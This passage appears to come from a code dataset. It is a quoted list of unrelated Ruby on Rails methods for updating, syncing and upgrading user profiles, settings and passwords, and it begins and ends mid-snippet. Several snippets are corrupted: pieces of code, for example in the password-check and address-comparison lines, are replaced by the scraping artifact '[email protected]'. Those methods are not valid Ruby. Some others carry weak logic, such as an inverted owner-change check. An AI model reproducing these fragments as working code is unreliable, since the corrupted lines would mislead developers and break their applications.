sync_datas_process\n SyncDatas.sync(self)\n # user = self\n end", "def after_save_actions\n Logger.d(\"Inside after_save_actions in User\")\n ContactsSync.new(@context, get(:auth_token)).sync if is_user_contacts_syncable? == true # non-blocking\n end", "def upgrade!\r\n\tcurrent_user.update(:delivery => true)\r\n\tcurrent_user.save\r\nend", "def update!(**args)\n @impersonated_user = args[:impersonated_user] if args.key?(:impersonated_user)\n end", "def sync_files\n User.sync_files!(@context)\n end", "def sync_profiles(fields = nil, users = User.all)\n users.each do |user|\n begin\n user.sync_profile fields\n logger.info \"Synced ##{user.id} (#{user.name}) profile - #{fields}\"\n rescue\n logger.info \"Unable to sync ##{user.id} (#{user.name}) profile - #{fields}\"\n end\n end\n end", "def zoho_sync\n\n\t\t\tUser.zoho_sync\n\n\t\t\trender text: 'OK'\n\n\t\tend", "def force_update_profile!\n return unless current_user && !current_user.email?\n return if protected_controllers?\n\n redirect_to edit_user_registration_url\n end", "def update_user\n end", "def update_profile_store_owner\n @status_update = false;\n user_info ={}\n error_type = \"\"\n org_name = params[\"business_name\"]\n user_info[\"first_name\"] = params[\"first_name\"]\n user_info[\"last_name\"] = params[\"last_name\"]\n user_info[\"email\"] = params[\"email\"]\n user_info[\"password\"] = params[\"password\"] unless params[\"password\"].blank?\n @existed_user = User.find_by_id(params[\"hidden_user_id\"])\n if @existed_user.id == current_user.id\n @status_update = @existed_user.update_attributes(user_info)\n @existed_user.organization.update_attributes(:name =>params[\"business_name\"])\n sign_in(@existed_user,:bypass => true)\n @full_name = @existed_user.first_name + \" \" + @existed_user.last_name \n end\n respond_to do |format|\n format.js\n end\n #render :js => \"update_success(#{@status_update}, #{@full_name})\"\n end", "def sync_cluster_role\n save_cluster_general_data\n end", "def update_profile\n method('import_profile_from_' + self.service_provider).call \n end", "def sync_funnel_visitor\n return unless FunnelCake.enabled?\n\n if not logged_in?\n logger.info \"Couldn't sync Analytics::Visitor to nil User\"\n return\n end\n if current_visitor.nil?\n logger.info \"Couldn't sync nil Analytics::Visitor to current User: #{current_user.inspect}\"\n return\n end\n current_visitor.user_id = current_user.id\n current_visitor.save\n end", "def update_using_auth o\n\t\tself.user_id = o.info.user_id\n\t\tself.login_name = o.info.profile.login_name\n\t\tself.email = o.info.email\n\t\tself.join_tsz = o.info.profile.join_tsz\n\t\tself.transaction_buy_count = o.info.profile.transaction_buy_count\n\t\tself.transaction_sold_count = o.info.profile.transaction_sold_count\n\t\tself.is_seller = o.info.profile.is_seller\n\t\tself.location = o.info.profile.lon ? [o.info.profile.lon, o.info.profile.lat] : nil\n\t\tself.image_url = o.info.profile.image_url_75x75\n\t\tself.country_id = o.info.profile.country_id\n\t\tself.gender = o.info.profile.gender\n\t\tself.oauth_token = o.extra.access_token.token\n\t\tself.oauth_token_secret = o.extra.access_token.secret\n\t\tsave\n\t\tself\n\tend", "def confirm!\n # add if else here in case user already existed and is updating/changing data (email etc),\n # shouldn't add_profile again if profile already exists. can determine with a user db 'nil' value...\n unless self.profile\n add_profile\n end\n super\n end", "def downgrade_user_to_standard\n current_user.update_attributes(role: \"standard\")\n end", "def set_backup\n current_user.backup = Farmer.find_by_id(params[:id]).email\n current_user.save\n redirect_to current_user\n end", "def update_settings(settings)\n self.email = settings[:email]\n self.password = settings[:password] unless settings[:password].empty?\n save\n end", "def saveSettings\n @user = User.find(params[:id])\n\n #Authenticate old entered password before changing to the new one\n if [email protected](params[:oldPassword]) \n flash[:danger] = \"Old password is incorrect\"\n redirect_to settings_user_path\n else\n if @user.update(user_settings_params)\n flash[:success] = \"Password successfully changed\"\n redirect_to settings_user_path\n else\n render 'settings'\n end\n end\n end", "def update_tcs\n @user = current_user\n end", "def upgrade_to_main_user\n self.is_main_user = true \n self.save \n \n admin_role = Role.find_by_name(USER_ROLE[:admin]) \n self.add_role_if_not_exists(admin_role ) \n end", "def update_user_with_sfdc_info(id, sfdc_account_info, sfdc_authentication)\n u = User.find(id)\n u.access_token = sfdc_authentication.access_token\n u.sfdc_username = sfdc_account_info.sfdc_username\n u.profile_pic = sfdc_account_info.profile_pic\n u.accountid = sfdc_account_info.accountid\n u.save\n end", "def update_profile\n @status_update = false;\n user_info ={}\n user_info[\"first_name\"] = params[\"first_name\"]\n user_info[\"last_name\"] = params[\"last_name\"]\n user_info[\"email\"] = params[\"email\"]\n user_info[\"password\"] = params[\"password\"] unless params[\"password\"].blank?\n @existed_user = User.find_by_id(params[\"hidden_user_id\"])\n if @existed_user.id == current_user.id\n @existed_user.organization.update_attributes(:language => params[\"language\"],:time_zone => params[\"time_zone\"])\n @status_update = @existed_user.update_attributes(user_info)\n sign_in(@existed_user,:bypass => true)\n\n @full_name = @existed_user.first_name + \" \" + @existed_user.last_name \n end\n respond_to do |format|\n format.js\n end\n end", "def change_owner!(user_changing, user_to_be_changed)\n if(!user_changing.persisted? || super_admin != user_changing)\n raise SecurityError.new \"No Permissions\"\n end \n exist_user?(user_to_be_changed)\n if(super_admin != user_changing)\n ActiveRecord::Base.transaction do\n remove_user!(user_changing, user_to_be_changed)\n participants.create(user_id: user_changing.id, member_type: Course.roles[\"admin\"])\n update(super_admin: user_to_be_changed)\n end\n end\n\nend", "def set_profile\n end", "def sync_all_active_users\n prepare_sis_user_import\n get_canvas_user_report_file\n load_active_users\n process_updated_users\n process_new_users\n Canvas::MaintainUsers.handle_changed_sis_user_ids(@sis_user_id_updates)\n import_sis_user_csv\n end", "def save\n\t\tbegin\n\t\t\tuser_profile = self.profile\n\t\t\tUser.create(\n\t\t\t\t:user_id => id,\n\t\t\t\t:login_name => username,\n\t\t\t\t:email => email,\n\t\t\t\t:join_tsz => created,\n\t\t\t\t:transaction_buy_count => user_profile.transaction_buy_count,\n\t\t\t\t:transaction_sold_count => user_profile.transaction_sold_count,\n\t\t\t\t:is_seller => user_profile.is_seller,\n\t\t\t\t:location => user_profile.lon ? [user_profile.lon, user_profile.lat] : nil,\n\t\t\t\t:image_url => user_profile.image,\n\t\t\t\t:country_id => user_profile.country_id,\n\t\t\t\t:gender => user_profile.gender,\n\t\t\t\t:oauth_token => nil,\n\t\t\t\t:oauth_token_secret => nil,\n\t\t\t\t:authenticated => false,\n\t\t\t\t:shop_id => @shop_id\n\t\t\t)\n\t\trescue NoMethodError\n\t\t\t# fairly rare at this point.\n\t\t\tputs \"associated_profile bug\"\n\t\tend\n\tend", "def sync\n @event.sync_pansci_attendees\n redirect_to event_attendees_path, notice: I18n.t('attendee.synced')\n end", "def set_user_profile\n @user_profile = @user.user_profile\n @user_profile = @user.create_user_profile if @user_profile.nil?\n end", "def before_save_user\n self.encrypted_password.encode! 'utf-8'\n\n # If demo is enabled, demo user cannot change email or password nor be locked\n if Feedbunch::Application.config.demo_enabled\n demo_email = Feedbunch::Application.config.demo_email\n if email_changed? && self.email_was == demo_email\n Rails.logger.info 'Somebody attempted to change the demo user email. Blocking the attempt.'\n self.errors.add :email, 'Cannot change demo user email'\n self.email = demo_email\n end\n\n demo_password = Feedbunch::Application.config.demo_password\n if encrypted_password_changed? && self.email == demo_email\n Rails.logger.info 'Somebody attempted to change the demo user password. Blocking the attempt.'\n self.errors.add :password, 'Cannot change demo user password'\n self.password = demo_password\n end\n\n if locked_at_changed? && self.email == demo_email\n Rails.logger.info 'Keeping demo user from being locked because of too many authentication failures'\n self.locked_at = nil\n end\n\n if unlock_token_changed? && self.email == demo_email\n Rails.logger.info 'Removing unlock token for demo user, demo user cannot be locked out'\n self.unlock_token = nil\n end\n end\n end", "def update_user( user, page, new_password = nil )\n # load fields from LDAP\n user.uniqueid = page[0][@settings['ldap_field_uid']][0]\n user.preferred_name = page[0][@settings['ldap_field_nickname']][0] unless page[0][@settings['ldap_field_nickname']].nil? \n user.first_name = page[0][@settings['ldap_field_firstname']][0]\n user.middle_name = page[0][@settings['ldap_field_middlename']][0] unless page[0][@settings['ldap_field_middlename']].nil?\n user.last_name = page[0][@settings['ldap_field_lastname']][0]\n user.instructor = false\n user.activated = true\n if page[0][@settings['ldap_field_affiliation']].nil?\n user.affiliation = \"unknown\" \n else \n user.affiliation = page[0][@settings['ldap_field_affiliation']].join(', ') \n\n inst_affiliations = @settings['instructor_affiliation'].split(',')\n page[0][@settings['ldap_field_affiliation']].each do |x|\n inst_affiliations.each do |instructor_affiliation|\n if x.downcase.eql?( instructor_affiliation.downcase )\n user.instructor = true\n end\n end\n end\n end\n\n user.personal_title = page[0][@settings['ldap_field_personaltitle']][0] unless page[0][@settings['ldap_field_personaltitle']].nil?\n user.office_hours = page[0][@settings['ldap_field_officehours']][0] unless page[0][@settings['ldap_field_officehours']].nil?\n user.phone_number = page[0][@settings['ldap_field_phone']][0] unless page[0][@settings['ldap_field_phone']].nil?\n user.email = page[0][@settings['ldap_field_email']][0]\n \n unless new_password.nil?\n user.update_password( new_password )\n end\n \n if ! user.save\n raise SecurityError, \"Unable to save user: #{user.errors.full_messages.join(', ')}\", caller\n end\n \n return user\n end", "def update\n\n if @usertype == 'dataentry'\n dataentry = Dataentry.find_by_authentications_id(@id)\n dataentry.firstname = params['firstname']\n dataentry.lastname = params['lastname']\n dataentry.profile = params['profile']\n dataentry.institution = params['institution']\n dataentry.save\n redirect_to '/profile'\n #TODO: Update the flash message to show that the profile is updated or not.\n else\n redirect_to '/'\n end\n end", "def update\n logger.debug '> Users: update'\n Accounts.new.update(params.merge(remember_token: rem_tokgen)) do |tmp_account|\n sign_in tmp_account\n @success = \"#{Accounts.typenum_to_s(params[:myprofile_type])} updated successfully.\"\n @error = 'Oops! Please contact [email protected]'\n end # if current_password_ok? #removed it for now. does not work otherwise. need to come back.\n @msg = { title: 'Profiles', message: \"#{Accounts.typenum_to_s(params[:myprofile_type])} updated successfully!.\", redirect: '/', disposal_id: 'app-1' }\n respond_to do |format|\n format.js do\n respond_with(@msg, @success, @error, account: current_user, api_key: current_user.api_key, myprofile_type: params[:myprofile_type], layout: !request.xhr?)\n end\n end\n end", "def update_user_if_save_version\n self.user = User.current if save_version?\n end", "def update_user\n\t\tunless current_user.id == @prototype.user.id\n\t\t\tredirect_to root_path\n\t\tend\n\tend", "def call\n return unless context.user.auto_sync?\n begin\n playlist = context.spotify_user.create_playlist!(context.backup_playlist_name)\n playlist.add_tracks!(context.discover_weekly_playlist.tracks)\n context.backup_spotify_playlist = playlist\n rescue\n context.fail!(message: \"Couldn't create the playlist on Spotify. Please try again later\")\n end\n end", "def update\n coop = @user.coop_id\n\n # If they requested a co-op switch, send a request to their MemCo\n # Else, update their settings\n if @user.update_attributes(user_params)\n user_switched?(coop) ?\n request_switch(coop) :\n flash[:success] = \"Settings updated\"\n redirect_to @user\n else\n render \"edit\"\n end\n end", "def upgrade\n if user_signed_in? && self.current_user.admin_flag == 1\n user = User.find(params[:id])\n user.upgrade(params[:editor_flag])\n redirect_to(:controller => '/members', :action => 'profile', :id=>params[:id])\n end\n end", "def update_profile\n user = @current_user\n user.first_name = params[:first_name]\n user.phone_no = params[:phone_no]\n user.email = params[:email]\n user.save!\n if (user.role == \"user\")\n redirect_to categories_path\n elsif (user.role == \"clerk\")\n redirect_to clerks_path\n else\n redirect_to \"/dashboard\"\n end\n end", "def set_profile(profile_contents)\n path = self.api_root + '/register/profile'\n process_firecloud_request(:post, path, profile_contents.to_json)\n end", "def update\n @user = current_user\n @user_locations = @user.user_locations\n \n old_password = @user.sync_password\n \n new_password = request_password\n \n # @user_locations.each do |ul|\n request = request_github(@user.user_locations.where({ :location_id => 1 }).first.login_name, old_password, new_password)\n # end\n \n unless request.nil?\n # TXT user\n txt_user(@user.cell_phone, request)\n \n # Save new password to user\n @user.update_attributes({ :sync_password => request })\n \n redirect_to root_url, :notice => \"New password TXT'd to your cell phone.\"\n else\n redirect_to root_url, :notice => 'Authentication Failed. Try again.'\n end\n end", "def update\n\n if param_user[:email_work] != user.login\n param_user[:login] = param_user[:email_work]\n end\n @selected_profiles = param_user[:profile_ids]\n\n respond_to do |format|\n if user.update_attributes(param_user)\n @message = \"#{@user.full_name} has been modified.\"\n\t Resque.enqueue(Finforenet::Jobs::CheckPublicProfiles, @user.id) if @user.is_public\n if !request.xhr?\n format.html { redirect_to users_path({:page=>params[:page]}), :notice => @message }\n else\n format.html { render :action => \"edit\", :layout=> !request.xhr?}\n end\n else\n format.html { render :action => \"edit\", :layout=> !request.xhr? }\n end\n end\n end", "def run_sync opts\n reporter.output_format = (opts[:format] || :json).to_sym\n Roles.new(conjur, opts).sync_to adapter(opts).load_model\n rescue => e\n case e \n when RestClient::Exception\n log.error \"LDAP sync failed: #{e}\\n\\t#{e.response}\"\n else\n log.error \"LDAP sync failed: #{e}\"\n log.error \"backtrace:\\n#{[email protected] \"\\n\\t\"}\"\n raise e\n end\n end", "def update_with_password(params = {})\n if has_facebook_profile?\n params.delete(:current_password)\n update_without_password(params)\n else\n super\n end\n end", "def update_external_user\n Resque.enqueue(\n UpdateExternalUserJob,\n to_json(except: [ :password, :created_at, :updated_at ])\n )\n end", "def run_syncdb\n manage_py_execute('syncdb', '--noinput') if new_resource.syncdb\n end", "def updated_profile\n \n @user = User.find_by_id(session[:user_id])\n \n @user.name = params[:user][:name]\n @user.email = params[:user][:email]\n @user.address = params[:user][:address]\n @user.city = params[:user][:city]\n @user.pincode = params[:user][:pincode]\n @user.state = params[:user][:state]\n @user.contact_no = params[:user][:contact_no]\n\n if @user.save\n flash[:notice] = \"Changes Updated Successfully\"\n redirect_to :action => \"admin_profile\"\n else\n flash[:notice] = \"Changes are not updated\"\n end # if @user.save\n\n end", "def create_org_member\n @organization = Organization.find(params[:organization_id].to_i)\n @email = params[:email]\n\n @first_name = params[:first_name]\n @last_name = params[:last_name]\n @pw = params[:password]\n @pw_confirmation = params[:password_confirmation]\n\n # TODO check if authtoken is in sess variable\n # If so, only update user password\n \n # Allocate User account, dashboard, and profile \n @user = User.create(\n email: @email,\n password: @pw,\n password_confirmation: @pw_confirmation,\n organization: @organization\n )\n if @user\n Dashboard.create(\n lead_email: @email, \n lead_name: \"#{@first_name} #{@last_name}\",\n user: @user\n )\n\n profile = Profile.find_or_create_by!(email: @email) do |profile|\n profile.first_name = @first_name\n profile.last_name = @last_name\n profile.dashboard_registered = true\n end\n\n profile.update(user: @user)\n\n # Create zoho lead record\n if [email protected]? && @organization.name != 'test'\n ZohoService.save_to_zoho(profile)\n end\n\n #sign in newly created user\n sign_in(@user, scope: :user)\n # Setting up alias to map user id to mixapanel unique id. So we can use userid moving forward\n mixpanel_distinct_id = params[:distinct_id]\n @tracker.alias(@user.id,mixpanel_distinct_id)\n @tracker.people.set(@user.id,{\n '$first_name' => @user.profile.first_name,\n '$last_name' => @user.profile.last_name,\n '$email' => @user.email,\n '$phone' => @user.profile.phone\n },@user.current_sign_in_ip.to_s)\n @tracker.track(@user.id,'User account created for org. member')\n\n # flash[:notice] = 'Welcome to MyDomino!'\n \n render json: {\n message: 'User added',\n status: 200\n }, status: 200\n else\n render json: {\n message: 'Error adding user',\n status: 400\n }, status: 400\n end\n end", "def update_devise_user\n inject_into_file 'app/models/user.rb', after: \":validatable\" do <<-'RUBY'\n, :omniauthable\n validates_presence_of :email\n has_many :authorizations\n\n def self.new_with_session(params,session)\n if session[\"devise.user_attributes\"]\n new(session[\"devise.user_attributes\"],without_protection: true) do |user|\n user.attributes = params\n user.valid?\n end\n else\n super\n end\n end\n\n def self.from_omniauth(auth, current_user)\n authorization = Authorization.where(:provider => auth.provider, :uid => auth.uid.to_s, :token => auth.credentials.token, :secret => auth.credentials.secret).first_or_initialize\n if authorization.user.blank?\n user = current_user.nil? ? User.where('email = ?', auth[\"info\"][\"email\"]).first : current_user\n if user.blank?\n user = User.new\n user.password = Devise.friendly_token[0,10]\n user.name = auth.info.name\n user.email = auth.info.email\n auth.provider == \"twitter\" ? user.save(:validate => false) : user.save\n end\n authorization.username = auth.info.nickname\n authorization.user_id = user.id\n authorization.save\n end\n authorization.user\n end\n RUBY\n end\n end", "def sync_with_service_department\n if needs_sync?\n begin\n start_sync\n update(synced_on: Date.today)\n rescue\n logger.debug \"Something went wrong sending registration: #{self.inspect}\"\n end\n end\n end", "def stamp_sync_remote_user(t)\n machine = RemoteMachine.find(session[:machine].id)\n machine.last_synced = t || -1\n machine.update\n rescue => e\n raise \"Error assigning new last_synced timestamp. #{e.inspect}\"\n end", "def update_from_gram\n self.synced_with_gram = false\n if self.syncable?\n begin\n gram_data= GramV2Client::Account.find(self.uuid)\n self.email=gram_data.email\n self.firstname=gram_data.firstname\n self.lastname=gram_data.lastname\n self.last_gram_sync_at = Time.now\n self.hruid = gram_data.hruid\n if self.save\n self.synced_with_gram = true\n return self\n else\n return false\n end\n rescue ActiveResource::ResourceNotFound\n logger.error \"[GrAM] Utilisateur introuvable : hruid = #{self.hruid} uuid = #{self.uuid}\"\n return false\n rescue ActiveResource::ServerError\n logger.error \"[GrAM] Connexion au serveur impossible\"\n return false\n rescue ActiveResource::UnauthorizedAccess, ActiveResource::ForbiddenAccess\n logger.error \"[GrAM] Connexion au serveur impossible : verifier identifiants\"\n return false\n end\n else\n return false\n end\n\n end", "def import_profile_from_twitter\n self.profile.first_name = @credentials['name']\n self.profile.website = @credentials['url']\n self.profile.federated_profile_image_url = @credentials['profile_image_url']\n self.profile.save\n end", "def tweak\n current_user.update(tweak_params)\n\n redirect_back(fallback_location: settings_path)\n end", "def update_database!\n ActiveRecord::Base.transaction do\n org = Org.create!(\n admin: @user,\n name: new_org_name,\n handle: orgname,\n singular: true,\n state: \"complete\",\n )\n\n @user.update!(org: org)\n raw_update_user_baseline_charges!(@user, @user_api)\n end\n end", "def update_local\n uuid = @data[:id]\n\n log_event \"[I] Updating local user #{uuid}\"\n\n @entity = self.class.entity_from_relationship_data(@data)\n\n if @entity.nil?\n log_event \"[E] Cannot find user #{uuid}\"\n false\n else\n apply_for_update\n @entity.save\n end\n end", "def update\n \n oldUser = User.find(current_user.id)\n @user = User.find(current_user.id)\n\n successfully_updated = if needs_password?(@user, account_update_params)\n @user.update_with_password(account_update_params)\n else\n # remove the virtual current_password attribute update_without_password\n # doesn't know how to ignore it\n params[:user].delete(:current_password)\n @user.update_without_password(account_update_params)\n end\n\n if successfully_updated\n \n ## Move the user profile photo from tmp to user directory\n if @user.profile_photo!=\"\"\n move_tmp_user_photo(@user)\n end\n \n #update latitude longitude here ...\n if @user.user_type == \"fan\" || @user.user_type == \"artist\"\n #//check if the address has been changed\n addressChanged = !((oldUser.country_id == @user.country_id) && (oldUser.state_id == @user.state_id) && (oldUser.zip [email protected]) && (oldUser.city == @user.city))\n if addressChanged\n fullAddress = \"\"\n countryName = \"\"\n stateName = \"\"\n if @user.country_id.to_i > 0\n countryRow = Country.where(\"id = ? \",@user.country_id.to_i).take\n if countryRow != nil\n countryName = countryRow.country_name\n end\n end\n \n if @user.state_id.to_i > 0\n stateRow = State.where(\"id = ? \",@user.state_id.to_i).take\n if stateRow != nil\n stateName = stateRow.state_name\n end\n end\n \n if @user.zip.to_s != \"\"\n fullAddress = URI.encode(@user.zip)\n end\n \n if @user.city.to_s !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(@user.city)\n else\n fullAddress += \",\"+URI.encode(@user.city)\n end \n end\n \n if stateName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(stateName)\n else\n fullAddress += \",\"+URI.encode(stateName)\n end \n end\n \n if countryName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(countryName)\n else\n fullAddress += \",\"+URI.encode(countryName)\n end \n end\n \n #render text: fullAddress and return\n if !fullAddress.blank?\n lat_long = Geocoder.coordinates(fullAddress)\n cUser = User.find(@user.id);\n if lat_long!=nil\n cUser.update_attributes(:latitude => lat_long[0],:longitude => lat_long[1])\n end \n end \n end \n end\n \n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to after_update_path_for(@user)\n else\n render \"edit\"\n end\n end", "def profile_update(profile,user)\n @profile=profile\n @user=user\n mail to: @user.email, subject: \"Profile updated (Socail Trip App)\", from:'[email protected]'\n end", "def update\n @user = User.find(current_user.id)\n # email_changed = @user.email != params[:user][:email]\n is_facebook_account = [email protected]?\n\n successfully_updated = if !is_facebook_account\n @user.update_with_password(allowed_params)\n else\n @user.update_without_password(allowed_params)\n end\n\n if successfully_updated\n # Sign in the user bypassing validation in case his password changed\n # sign_in @user, :bypass => true\n redirect_to registration_path\n else\n redirect_to registration_path \n end\n end", "def update_profile! (data = {})\n check_auth :update\n \n response = connection.put do |req|\n req.url '/user/update'\n req.body = { :format => @format }.merge(data)\n end\n response\n end", "def update\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n #prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n taget_user = registration_params\n\n if resource.provider.blank?\n taget_user[:password] = taget_user[:password]\n taget_user[:password_confirmation] = taget_user[:password_confirmation]\n taget_user[:current_password] = taget_user[:current_password]\n end\n taget_user[:name] = taget_user[:name].strip\n taget_user[:phone] = taget_user[:phone].strip\n taget_user[:birthday] = \"#{params['birthday(1i)']}#{params['birthday(2i)']}#{params['birthday(3i)']}\"\n\n if taget_user[:password] != taget_user[:password_confirmation]\n result = '新密碼與確認新密碼不符'\n elsif !taget_user[:password].blank? && !taget_user[:password_confirmation].blank? && taget_user[:password].length < 6\n result = '密碼長度必須大於6個字元, 前後不能空白'\n elsif taget_user[:name].blank?\n result = '姓名為必填欄位喔!'\n elsif taget_user[:phone].blank?\n result = '電話為必填欄位喔!'\n else\n\n if resource.provider.blank?\n if taget_user[:current_password].blank?\n result = '驗證碼為必填欄位喔!'\n else\n if update_resource(resource, taget_user)\n sign_in resource_name, resource, :bypass => true\n result = '修改成功'\n else\n clean_up_passwords resource\n result = '修改失敗! 請確認輸入資料是否正確!,或資料長度超過限制'\n end\n end\n else\n #if update_resource(resource, taget_user)\n if resource.update_without_password(taget_user)\n #if is_navigational_format?\n # flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n # :update_needs_confirmation : :updated\n # #set_flash_message :notice, flash_key\n #end\n sign_in resource_name, resource, :bypass => true\n #respond_with resource, :location => '/booker_manage/index' #after_update_path_for(resource)\n result = '修改成功'\n else\n clean_up_passwords resource\n result = '修改失敗! 請確認輸入資料是否正確!,或資料長度超過限制'\n end\n end\n end\n\n from = params[:from]\n if from.blank?\n #render json:{:edit_account => true, :message => result, :attachmentPartial => render_to_string('devise/registrations/edit', :layout => false, :locals => { :resource => resource,:resource_name => 'user'}) }\n redirect_to '/booker_manage/index#tabs-2', :alert => result\n else\n render json:{:success => true, :data => result, :registration => true }\n end\n end", "def ensure_user_has_profile(user)\n unless user.person && user.person.profile.present?\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"name\" => user.username })\n end\n end", "def process_workshop_users(data)\n\t\tdata.each do |item|\n\t\t\tif item[:password] == \"local\"\n\t\t\t\titem[:password] = @user.password\n\t\t\tend\n\t\t\[email protected]_user(item)\n\t\tend\n\tend", "def reg_organisation_profile_update\n @organisation = Organisation.find_organisation_user(params[:id]).first\n respond_to do |format|\n if @user.update_attributes(params[:users1]) && @organisation.update_attributes(params[:organisations]) && @location.update_attributes(params[:locations1])\n format.html { redirect_to(dashboards_path, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :editing_user_profile }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_profile\n @profile = current_user\n end", "def _migrate_lti_user\n return if _legacy_lti11_user_id.blank?\n\n user = User.find_by(lti_user_id: _legacy_lti11_user_id)\n if user\n user.lti_user_id = @lti_user_id\n end\n user\n end", "def update!\n data = Steam::API.user(steam_id).first\n update(\n name: data[:personaname],\n avatar_url: data[:avatarfull],\n last_updated: Time.now\n )\n end", "def claim_legacy_site\n if site = Legacy::LegacySite.find(params[:id])\n if site.claimed_by == nil\n site.claimed_by = current_user.legacy_organization_id\n site.user = current_user\n site.save\n render json: { status: 'success', claimed_by: site.claimed_by, site_status: site.status, org_name: site.claimed_by_org.name }\n elsif site.claimed_by == current_user.legacy_organization_id || current_user.admin\n site.claimed_by = nil\n site.user = nil\n site.save\n render json: { status: 'success', claimed_by: site.claimed_by, site_status: site.status }\n else\n render json: { status: 'error', msg: 'You do not have permission to do that.' }\n end\n end\n end", "def setup_award_wallet_user_from_sample_data(account)\n user = get_award_wallet_user_from_callback(account)\n result = refresh_award_wallet_user_from_sample_data(user)\n account.reload\n result\n end", "def fix_up_user_after_screen_name_migration!(user)\n\n if user.screen_name.blank?\n user.screen_name = screen_name\n user.save!\n end\nend", "def save\n begin\n super(@partnership.user1)\n rescue CoachClient::Exception\n super(@partnership.user2)\n end\n end", "def update\n @user = current_user\n @tab = params[:tab]\n @on_my_account = true\n\n # do in two steps so we can see user.changes\n @user.attributes = params[:user]\n @user.update_subscriptions('http://sowhatsthedeal.com/my_account_email', nil, true)\n\n if @user.errors.empty? and @user.save\n @user.update_cim_profile\n flash.now[:notice] = \"Your #{@tab == 'personal' ? 'account has' : 'email preferences have' } been updated!\"\n end\n \n if request.xhr?\n render :text => \"success\"\n else \n render :action => @user.errors.on(:password) ? 'change_password' : 'show'\n end\n end", "def lcr_update_user\n @user.sms_lcr_id = params[:lcr_id] if session[:usertype] == 'admin'\n @user.sms_tariff_id = params[:tariff_id]\n if @user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>@user.id, :target_id=>@user.sms_lcr_id, :target_type=>'sms_lcr'} )\n if @user.usertype.to_s == 'reseller' and session[:usertype] == 'admin'\n users = User.find(:all, :conditions=>{:owner_id => @user.id})\n if users and users.size.to_i > 0\n for user in users\n user.sms_lcr_id = params[:lcr_id]\n if user.save\n Action.add_action_hash(User.current, {:action=>'sms_lcr_changed_for_user', :data=>user.id, :target_id=>user.sms_lcr_id, :target_type=>'sms_lcr'} )\n end\n end\n end\n end\n flash[:status] = _('User_updated')\n else\n flash[:notice] = _('User_not_updated')\n end\n redirect_to :action => 'lcr_edit_user', :id => @user.id\n end", "def set_user_profile\n @user_profile = current_user.user_profile\n end", "def update_profile\n self.resource = resource_class.to_adapter.get!(send(:\"current_#{resource_name}\").to_key)\n prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)\n\n resource_updated = update_profile_resource(resource, update_profile_params)\n yield resource if block_given?\n if resource_updated\n if is_flashing_format?\n flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?\n :update_needs_confirmation : :updated\n set_flash_message :notice, flash_key\n end\n sign_in resource_name, resource, bypass: true\n respond_with resource, location: after_update_path_for(resource)\n else\n clean_up_passwords resource\n respond_with resource\n end\n end", "def update\n if conditionally_update\n handle_successful_update\n redirect_to hyrax.dashboard_profile_path(@user.to_param), notice: \"Your profile has been updated\"\n else\n redirect_to hyrax.edit_dashboard_profile_path(@user.to_param), alert: @user.errors.full_messages\n end\n end", "def sync_facebook_friends\n find_facebook_friends_with_accounts.each do |auth| \n if !friend?(auth)\n Friendship.create! do |f|\n f.user_id = self.id\n f.friend_id = auth.id\n end\n end\n \n # Create the inverse friendship to save\n # extra db taxes later when the user logs in\n if !inverse_friend?(auth)\n Friendship.create! do |f|\n f.user_id = auth.id\n f.friend_id = self.id\n end\n end\n end\n end", "def update!(**args)\n @allow_password_signup = args[:allow_password_signup] if args.key?(:allow_password_signup)\n @autodelete_anonymous_users = args[:autodelete_anonymous_users] if args.key?(:autodelete_anonymous_users)\n @client = args[:client] if args.key?(:client)\n @disable_auth = args[:disable_auth] if args.key?(:disable_auth)\n @display_name = args[:display_name] if args.key?(:display_name)\n @email_privacy_config = args[:email_privacy_config] if args.key?(:email_privacy_config)\n @enable_anonymous_user = args[:enable_anonymous_user] if args.key?(:enable_anonymous_user)\n @enable_email_link_signin = args[:enable_email_link_signin] if args.key?(:enable_email_link_signin)\n @hash_config = args[:hash_config] if args.key?(:hash_config)\n @inheritance = args[:inheritance] if args.key?(:inheritance)\n @mfa_config = args[:mfa_config] if args.key?(:mfa_config)\n @monitoring = args[:monitoring] if args.key?(:monitoring)\n @name = args[:name] if args.key?(:name)\n @password_policy_config = args[:password_policy_config] if args.key?(:password_policy_config)\n @recaptcha_config = args[:recaptcha_config] if args.key?(:recaptcha_config)\n @sms_region_config = args[:sms_region_config] if args.key?(:sms_region_config)\n @test_phone_numbers = args[:test_phone_numbers] if args.key?(:test_phone_numbers)\n end", "def old_sync; end", "def new_organisational_profile_update\n profile_type = UserType.find_user_type(3).first\n @user.user_type = profile_type.user_type\n params[:user][:user_type][email protected]_type\n params[:user].delete(:password) if params[:user][:password].blank?\n params[:user].delete(:password_confirmation) if params[:user][:password].blank? and params[:user][:password_confirmation].blank?\n respond_to do |format|\n if @user.update_attributes(params[:user])\n @organisation [email protected]_organisation(params[:organisation])\n @organisation.save \n format.html { redirect_to(dashboards_path, :notice => 'User was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_profile\n @profile = current_owner.profile\n end", "def synchronize_users (access_token)\n Tibbr::User.access_token = access_token\n User.find_in_batches(:batch_size => 10, :conditions => [\"tenant_name = ?\", name]) do |ideation_users|\n ideation_users.each do |user|\n tibbr_user = Tibbr::User.find(user.tibbr_user_id)\n user.update_attributes({:display_name => tibbr_user.display_name, :login => tibbr_user.login, \n :profile_image_url => tibbr_user.profile_image_url, :locale => tibbr_user.locale, \n :time_zone => tibbr_user.time_zone\n })\n Rails.logger.debug \"User #{user.display_name}'s profile details updated.\"\n end\n end\n end", "def register_user_to_fb(force = false)\n if force || changed.include?('username') || changed.include?('facebook_username')\n email = facebook_username.present? ? 